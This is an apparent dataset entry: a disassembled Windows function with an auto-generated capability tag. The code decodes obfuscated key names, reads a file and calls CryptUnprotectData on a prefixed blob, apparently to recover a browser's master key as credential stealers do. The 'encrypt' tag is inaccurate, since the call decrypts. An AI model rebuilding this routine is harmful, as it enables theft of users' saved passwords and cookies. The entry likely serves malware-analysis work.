Function at 0x18003f090
Capabilities:
Encrypt data using dpapi

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x1d0]
sub rsp, 0x2d0
mov rdi, rcx
xor ebx, ebx
mov dword [rsp + 0x50], ebx
lea r8d, [rbx + 1]
lea rcx, [rbp + 0x20]
call fcn.1800415c0
nop
cmp qword [rbp + 0xb0], rbx
jne 0x18003f14e
mov qword [rdi], rbx
mov qword [rdi + 8], rbx
mov qword [rdi + 0x10], rbx
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x20], rax
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x1c], edx
lea rcx, [rbp + 0x30]
call fcn.180014840
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x20], rax
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x1c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0xd0], rax
lea rcx, [rbp + 0xd0]
call fcn.180088770
nop
jmp 0x18003f5e5
mov qword [rbp + 0x168], rbx
lea r8, [rbp + 0x130]
lea rdx, [rbp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.180041770
nop
mov r14d, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x10], r14
mov qword [rbp - 0x18], 8
xor eax, eax
mov qword [rbp - 0x28], rax
mov byte [rbp - 0x20], al
lea rdx, [rbp - 0x28]
mov byte [rbp + 0x210], 0xa
movzx eax, byte [rbp + 0x210]
lea rsi, [0x1800efec0]
movzx eax, byte [rax + rsi]
mov byte [rdx + 7], al
mov byte [rbp + 0x210], 0xa7
movzx eax, byte [rbp + 0x210]
movzx eax, byte [rax + rsi]
mov byte [rdx + 6], al
mov byte [rbp + 0x210], 0x1e
movzx eax, byte [rbp + 0x210]
movzx eax, byte [rax + rsi]
mov byte [rdx + 5], al
mov byte [rbp + 0x210], 0x9c
movzx eax, byte [rbp + 0x210]
movzx eax, byte [rax + rsi]
mov byte [rdx + 4], al
mov byte [rbp + 0x210], 0xe4
movzx eax, byte [rbp + 0x210]
movzx eax, byte [rax + rsi]
mov byte [rdx + 3], al
mov byte [rbp + 0x210], 0x44
movzx eax, byte [rbp + 0x210]
movzx eax, byte [rax + rsi]
mov byte [rdx + 2], al
mov byte [rbp + 0x210], 0x88
movzx eax, byte [rbp + 0x210]
movzx eax, byte [rax + rsi]
mov byte [rdx + 1], al
mov byte [rbp + 0x210], __WSAFDIsSet
movzx eax, byte [rbp + 0x210]
movzx eax, byte [rax + rsi]
mov byte [rdx], al
lea rdx, [rbp - 0x28]
lea rcx, [rsp + 0x40]
call fcn.180040900
mov r8, rax
cmp byte [rax], 0
jne 0x18003f26e
mov qword [rdi], rbx
mov qword [rdi + 8], rbx
mov qword [rdi + 0x10], rbx
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.180040c20
nop
jmp 0x18003f5dc
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x68], select
xor eax, eax
mov qword [rbp - 0x78], rax
mov dword [rbp - 0x70], eax
mov word [rbp - 0x6c], ax
lea rdx, [rbp - 0x78]
mov byte [rbp + 0x210], 0x1e
movzx eax, byte [rbp + 0x210]
movzx eax, byte [rax + rsi]
mov byte [rdx + 0xc], al
mov byte [rbp + 0x210], 0x5c
movzx eax, byte [rbp + 0x210]
movzx eax, byte [rax + rsi]
mov byte [rdx + 0xb], al
mov byte [rbp + 0x210], 0x9e
movzx eax, byte [rbp + 0x210]
movzx eax, byte [rax + rsi]
mov byte [rdx + 0xa], al
mov byte [rbp + 0x210], 0x44
movzx eax, byte [rbp + 0x210]
movzx eax, byte [rax + rsi]
mov byte [rdx + 9], al
mov byte [rbp + 0x210], 0x53
movzx eax, byte [rbp + 0x210]
movzx eax, byte [rax + rsi]
mov byte [rdx + 8], al
mov byte [rbp + 0x210], 0x5c
movzx eax, byte [rbp + 0x210]
movzx eax, byte [rax + rsi]
mov byte [rdx + 7], al
mov byte [rbp + 0x210], 0xa
movzx eax, byte [rbp + 0x210]
movzx eax, byte [rax + rsi]
mov byte [rdx + 6], al
mov byte [rbp + 0x210], 0xa7
movzx eax, byte [rbp + 0x210]
movzx eax, byte [rax + rsi]
mov byte [rdx + 5], al
mov byte [rbp + 0x210], 0x1e
movzx eax, byte [rbp + 0x210]
movzx eax, byte [rax + rsi]
mov byte [rdx + 4], al
mov byte [rbp + 0x210], 0x9c
movzx eax, byte [rbp + 0x210]
movzx eax, byte [rax + rsi]
mov byte [rdx + 3], al
mov byte [rbp + 0x210], 0xe4
movzx eax, byte [rbp + 0x210]
movzx eax, byte [rax + rsi]
mov byte [rdx + 2], al
mov byte [rbp + 0x210], 0xad
movzx eax, byte [rbp + 0x210]
movzx eax, byte [rax + rsi]
mov byte [rdx + 1], al
mov byte [rbp + 0x210], 0x5c
movzx eax, byte [rbp + 0x210]
movzx eax, byte [rax + rsi]
mov byte [rdx], al
lea rdx, [rbp - 0x78]
mov rcx, r8
call fcn.180040900
movzx ecx, byte [rax]
test cl, cl
jne 0x18003f3ce
mov qword [rdi], rbx
mov qword [rdi + 8], rbx
mov qword [rdi + 0x10], rbx
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.180040c20
nop
jmp 0x18003f5dc
mov qword [rbp - 0x58], rbx
mov qword [rbp - 0x48], rbx
mov qword [rbp - 0x40], r14
mov byte [rbp - 0x58], 0
mov dword [rsp + 0x50], reloc.WS2_32.dll_recv
cmp cl, 3
jne 0x18003f60a
mov rdx, qword [rax + 8]
lea rax, [rbp - 0x58]
cmp rax, rdx
je 0x18003f414
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x18003f40a
mov rdx, qword [rdx]
lea rcx, [rbp - 0x58]
call fcn.18000c9d0
nop
xor r8d, r8d
lea rdx, [rbp - 0x58]
lea rcx, [rbp - 8]
call fcn.18000cbf0
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x18003f460
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18003f45b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18003f650
call fcn.18008a564
lea rax, [rbp - 8]
cmp qword [rbp + 0x10], 0x10
cmovae rax, qword [rbp - 8]
mov dword [rbp - 0x34], ebx
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
add rax, 5
mov qword [rbp - 0x30], rax
mov eax, dword [rbp + 8]
add eax, 0xfffffffb
mov dword [rbp - 0x38], eax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x38]
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
jne 0x18003f54a
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], 7
xor r8d, r8d
lea rdx, [0x1800fdbe0]
lea rcx, [rsp + 0x58]
call fcn.18002b6f0
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x18003f520
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18003f51b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18003f650
call fcn.18008a564
mov qword [rdi], rbx
mov qword [rdi + 8], rbx
mov qword [rdi + 0x10], rbx
lea rcx, [rbp - 8]
call fcn.18000c740
nop
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.180040c20
nop
jmp 0x18003f5dc
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rbx
mov r14, qword [rbp - 0x80]
mov esi, dword [rsp + 0x78]
mov r12, rbx
test rsi, rsi
je 0x18003f5a9
movabs rax, 0x7fffffffffffffff
cmp rsi, rax
ja 0x18003f604
mov edx, esi
lea rcx, [rsp + 0x58]
call fcn.180039d90
mov r8d, esi
mov rdx, r14
mov r15, qword [rsp + 0x58]
mov rcx, r15
call fcn.18008c6d0
lea r12, [rsi + r15]
mov r14, qword [rbp - 0x80]
mov rbx, qword [rsp + 0x68]
jmp 0x18003f5ae
mov r15, qword [rsp + 0x58]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov qword [rdi], r15
mov qword [rdi + 8], r12
mov qword [rdi + 0x10], rbx
lea rcx, [rbp - 8]
call fcn.18000c740
nop
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.180040c20
nop
lea rcx, [rbp + 0x20]
call fcn.18003f660
mov rax, rdi
lea r11, [rsp + 0x2d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
call fcn.180016ab0
nop
mov rcx, rax
call fcn.180041170
mov qword [rbp + 0x218], rax
lea r8, [rbp + 0x218]
lea rcx, [rbp + 0x1a8]
call fcn.18004cd00
nop
mov r8, rax
lea rcx, [rbp + 0x170]
call fcn.18004cdc0
lea rdx, [0x180116038]
lea rcx, [rbp + 0x170]
call fcn.18008cf10
nop
call fcn.180090f98
int3